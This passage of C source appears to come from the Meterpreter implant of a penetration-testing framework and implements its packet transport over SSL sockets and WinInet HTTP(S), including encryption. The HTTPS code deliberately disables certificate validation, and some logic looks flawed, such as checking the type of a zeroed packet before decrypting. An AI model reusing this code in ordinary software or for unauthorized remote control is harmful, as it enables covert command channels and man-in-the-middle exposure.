// If a completion routine was supplied and the packet has a request
// identifier, insert the completion routine into the list
if ((completion) &&
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
&requestId) == ERROR_SUCCESS))
packet_add_completion_handler((LPCSTR)requestId.buffer, completion);
// If the endpoint has a cipher established and this is not a plaintext
// packet, we encrypt
if ((crypto = remote_get_cipher(remote)) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = packet->payloadLength;
PUCHAR origPayload = packet->payload;
// Encrypt
if ((res = crypto->handlers.encrypt(crypto, packet->payload,
packet->payloadLength, &packet->payload,
&packet->payloadLength)) !=
ERROR_SUCCESS)
{
SetLastError(res);
break;
}
// Destroy the original payload as we no longer need it
free(origPayload);
// Update the header length
packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader));
}
idx = 0;
while( idx < sizeof(packet->header))
{
// Transmit the packet's header (length, type)
res = SSL_write(
remote->ssl,
(LPCSTR)(&packet->header) + idx,
sizeof(packet->header) - idx
);
if(res <= 0) {
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
break;
}
idx += res;
}
if(res < 0)
break;
idx = 0;
while( idx < packet->payloadLength)
{
// Transmit the packet's payload (length, type)
res = SSL_write(
remote->ssl,
packet->payload + idx,
packet->payloadLength - idx
);
if(res < 0)
break;
idx += res;
}
if(res < 0) {
dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
break;
}
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
// Destroy the packet
packet_destroy(packet);
lock_release( remote->lock );
return res;
}
/*!
* @brief Transmit a packet via HTTP(s) _and_ destroy it.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet that is to be sent.
* @param completion Pointer to the completion routines to process.
* @return An indication of the result of processing the transmission request.
*/
DWORD packet_transmit_via_http( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
{
CryptoContext *crypto;
Tlv requestId;
DWORD res;
#ifdef _UNIX
int local_error = -1;
#endif
lock_acquire( remote->lock );
// If the packet does not already have a request identifier, create one for it
if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,&requestId) != ERROR_SUCCESS)
{
DWORD index;
CHAR rid[32];
rid[sizeof(rid) - 1] = 0;
for (index = 0; index < sizeof(rid) - 1; index++)
rid[index] = (rand() % 0x5e) + 0x21;
packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
}
do
{
// If a completion routine was supplied and the packet has a request
// identifier, insert the completion routine into the list
if ((completion) &&
(packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
&requestId) == ERROR_SUCCESS))
packet_add_completion_handler((LPCSTR)requestId.buffer, completion);
// If the endpoint has a cipher established and this is not a plaintext
// packet, we encrypt
if ((crypto = remote_get_cipher(remote)) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = packet->payloadLength;
PUCHAR origPayload = packet->payload;
// Encrypt
if ((res = crypto->handlers.encrypt(crypto, packet->payload,
packet->payloadLength, &packet->payload,
&packet->payloadLength)) !=
ERROR_SUCCESS)
{
SetLastError(res);
break;
}
// Destroy the original payload as we no longer need it
free(origPayload);
// Update the header length
packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader));
}
#ifdef _WIN32
dprintf("Transmitting packet of length %d to remote", packet->payloadLength);
res = packet_transmit_via_http_wininet(remote, packet, completion);
#else
// XXX: Implement non-windows HTTP delivery
#endif
if(res < 0) {
dprintf("[PACKET] transmit failed with return %d\n", res);
break;
}
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
// Destroy the packet
packet_destroy(packet);
lock_release( remote->lock );
return res;
}
#ifdef _WIN32
/*!
* @brief Windows-specific function to transmit a packet via HTTP(s) _and_ destroy it.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet that is to be sent.
* @param completion Pointer to the completion routines to process.
* @return An indication of the result of processing the transmission request.
* @remark This function is not available on POSIX.
*/
DWORD packet_transmit_via_http_wininet( Remote *remote, Packet *packet, PacketRequestCompletion *completion ) {
DWORD res = 0;
HINTERNET hReq;
BOOL hRes;
DWORD retries = 5;
DWORD flags;
DWORD flen;
unsigned char *buffer;
flen = sizeof(flags);
buffer = malloc( packet->payloadLength + sizeof(TlvHeader) );
if (! buffer) {
SetLastError(ERROR_NOT_FOUND);
return 0;
}
memcpy(buffer, &packet->header, sizeof(TlvHeader));
memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength);
do {
flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
}
hReq = HttpOpenRequest(remote->hConnection, "POST", remote->uri, NULL, NULL, NULL, flags, 0);
if (hReq == NULL) {
dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
InternetQueryOption( hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, &flen);
flags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA;
InternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, flen);
}
hRes = HttpSendRequest(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader) );
if (! hRes) {
dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
} while(0);
memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader));
InternetCloseHandle(hReq);
return res;
}
#endif
/*!
* @brief Transmit a response with just a result code to the remote endpoint.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to the \c Packet that is to be sent.
* @param res Result code to return.
* @return An indication of the result of processing the transmission request.
*/
DWORD packet_transmit_empty_response( Remote *remote, Packet *packet, DWORD res )
{
Packet *response = packet_create_response(packet);
if (!response)
return ERROR_NOT_ENOUGH_MEMORY;
// Add the result code
packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);
// Transmit the response
return packet_transmit(remote, response, NULL);
}
/*!
* @brief Receive a new packet on the given remote endpoint.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to a pointer that will receive the \c Packet data.
* @return An indication of the result of processing the transmission request.
*/
DWORD packet_receive( Remote *remote, Packet **packet )
{
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
CryptoContext *crypto = NULL;
Packet *localPacket = NULL;
TlvHeader header;
LONG bytesRead;
BOOL inHeader = TRUE;
PUCHAR payload = NULL;
ULONG payloadLength;
#ifdef _UNIX
int local_error = -1;
#endif
if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS)
return packet_receive_via_http( remote, packet );
lock_acquire( remote->lock );
do
{
// Read the packet length
while (inHeader)
{
if ((bytesRead = SSL_read(remote->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader) - headerBytes)) <= 0)
{
if (!bytesRead)
SetLastError(ERROR_NOT_FOUND);
if(bytesRead < 0) {
dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error( remote->ssl, bytesRead ), WSAGetLastError() );
SetLastError(ERROR_NOT_FOUND);
}
break;
}
headerBytes += bytesRead;
if (headerBytes != sizeof(TlvHeader))
continue;
else
inHeader = FALSE;
}
if (headerBytes != sizeof(TlvHeader))
break;
// Initialize the header
header.length = header.length;
header.type = header.type;
payloadLength = ntohl( header.length ) - sizeof(TlvHeader);
payloadBytesLeft = payloadLength;
// Allocate the payload
if (!(payload = (PUCHAR)malloc( payloadLength )))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
// Read the payload
while (payloadBytesLeft > 0)
{
if ((bytesRead = SSL_read( remote->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft )) <= 0)
{
if (GetLastError() == WSAEWOULDBLOCK)
continue;
if (!bytesRead)
SetLastError(ERROR_NOT_FOUND);
if(bytesRead < 0) {
dprintf("[PACKET] receive payload of length %d failed with error code %d. SSLerror=%d\n", payloadLength, bytesRead, SSL_get_error( remote->ssl, bytesRead ) );
SetLastError(ERROR_NOT_FOUND);
}
break;
}
payloadBytesLeft -= bytesRead;
}
// Didn't finish?
if (payloadBytesLeft)
break;
// Allocate a packet structure
if (!(localPacket = (Packet *)malloc( sizeof(Packet) )))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
memset( localPacket, 0, sizeof(Packet) );
// If the connection has an established cipher and this packet is not
// plaintext, decrypt
if ((crypto = remote_get_cipher( remote )) &&
(packet_get_type( localPacket ) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type( localPacket ) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = payloadLength;
PUCHAR origPayload = payload;
// Decrypt
if ((res = crypto->handlers.decrypt( crypto, payload, payloadLength,&payload, &payloadLength )) != ERROR_SUCCESS)
{
SetLastError(res);
break;
}
// We no longer need the encrypted payload
free(origPayload);
}
localPacket->header.length = header.length;
localPacket->header.type = header.type;
localPacket->payload = payload;
localPacket->payloadLength = payloadLength;
*packet = localPacket;
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
// Cleanup on failure
if ( res != ERROR_SUCCESS )
{
if (payload)
free( payload );
if (localPacket)
free( localPacket );
}
lock_release( remote->lock );
return res;
}
#ifdef _WIN32
/*!
* @brief Windows-specific function to receive a new packet via WinInet.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to a pointer that will receive the \c Packet data.
* @return An indication of the result of processing the transmission request.
* @remark This function is not available in POSIX.
*/
DWORD packet_receive_http_via_wininet( Remote *remote, Packet **packet ) {
DWORD headerBytes = 0, payloadBytesLeft = 0, res;
CryptoContext *crypto = NULL;
Packet *localPacket = NULL;
TlvHeader header;
LONG bytesRead;
BOOL inHeader = TRUE;
PUCHAR payload = NULL;
ULONG payloadLength;
DWORD flags;
DWORD flen;
HINTERNET hReq;
BOOL hRes;
DWORD retries = 5;
lock_acquire( remote->lock );
do {
flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
}
dprintf("[PACKET RECEIVE] HttpOpenRequest");
hReq = HttpOpenRequest( remote->hConnection, "POST", remote->uri, NULL, NULL, NULL, flags, 0 );
if (hReq == NULL) {
dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
InternetQueryOption( hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, &flen);
flags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA;
InternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, flen);
}
hRes = HttpSendRequest(hReq, NULL, 0, "RECV", 4 );
if (! hRes) {
dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
// Read the packet length
retries = 3;
while (inHeader && retries > 0)
{
retries--;
if (! InternetReadFile(hReq, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader) - headerBytes, &bytesRead)) {
dprintf("[PACKET RECEIVE] Failed HEADER InternetReadFile: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
// If the response contains no data, this is fine, it just means the
// remote side had nothing to tell us. Indicate this through a
// ERROR_EMPTY response code so we can update the timestamp.
if (bytesRead == 0) {
SetLastError(ERROR_EMPTY);
break;
}
headerBytes += bytesRead;
if (headerBytes != sizeof(TlvHeader)) {
continue;
} else {
inHeader = FALSE;
}
}
if (GetLastError() == ERROR_EMPTY)
break;
if (headerBytes != sizeof(TlvHeader)) {
SetLastError(ERROR_NOT_FOUND);
break;
}
// Initialize the header
header.length = header.length;
header.type = header.type;
payloadLength = ntohl(header.length) - sizeof(TlvHeader);
payloadBytesLeft = payloadLength;
// Allocate the payload
if (!(payload = (PUCHAR)malloc(payloadLength)))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
// Read the payload
retries = payloadBytesLeft;
while (payloadBytesLeft > 0 && retries > 0 )
{
retries--;
if (! InternetReadFile(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead)) {
dprintf("[PACKET RECEIVE] Failed BODY InternetReadFile: %d", GetLastError());
SetLastError(ERROR_NOT_FOUND);
break;
}
if (!bytesRead) {
SetLastError(ERROR_NOT_FOUND);
break;
}
payloadBytesLeft -= bytesRead;
}
// Didn't finish?
if (payloadBytesLeft)
break;
// Allocate a packet structure
if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
{
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
break;
}
memset( localPacket, 0, sizeof(Packet) );
// If the connection has an established cipher and this packet is not
// plaintext, decrypt
if ((crypto = remote_get_cipher(remote)) &&
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
{
ULONG origPayloadLength = payloadLength;
PUCHAR origPayload = payload;
// Decrypt
if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength,&payload, &payloadLength)) != ERROR_SUCCESS)
{
SetLastError(res);
break;
}
// We no longer need the encrypted payload
free(origPayload);
}
localPacket->header.length = header.length;
localPacket->header.type = header.type;
localPacket->payload = payload;
localPacket->payloadLength = payloadLength;
*packet = localPacket;
SetLastError(ERROR_SUCCESS);
} while (0);
res = GetLastError();
// Cleanup on failure
if (res != ERROR_SUCCESS)
{
if (payload)
free(payload);
if (localPacket)
free(localPacket);
}
if (hReq)
InternetCloseHandle(hReq);
lock_release( remote->lock );
return res;
}
#endif
/*!
* @brief Windows-specific function to receive a new packet via WinInet.
* @param remote Pointer to the \c Remote instance.
* @param packet Pointer to a pointer that will receive the \c Packet data.
* @return An indication of the result of processing the transmission request.
* @remark This function is just a proxy which calls \c packet_receive_http_via_wininet
* and doesn't yet have a POSIX implementation.
*/
DWORD packet_receive_via_http( Remote *remote, Packet **packet )
{
#ifdef _WIN32
return packet_receive_http_via_wininet(remote, packet);
#else
return 0;
#endif
}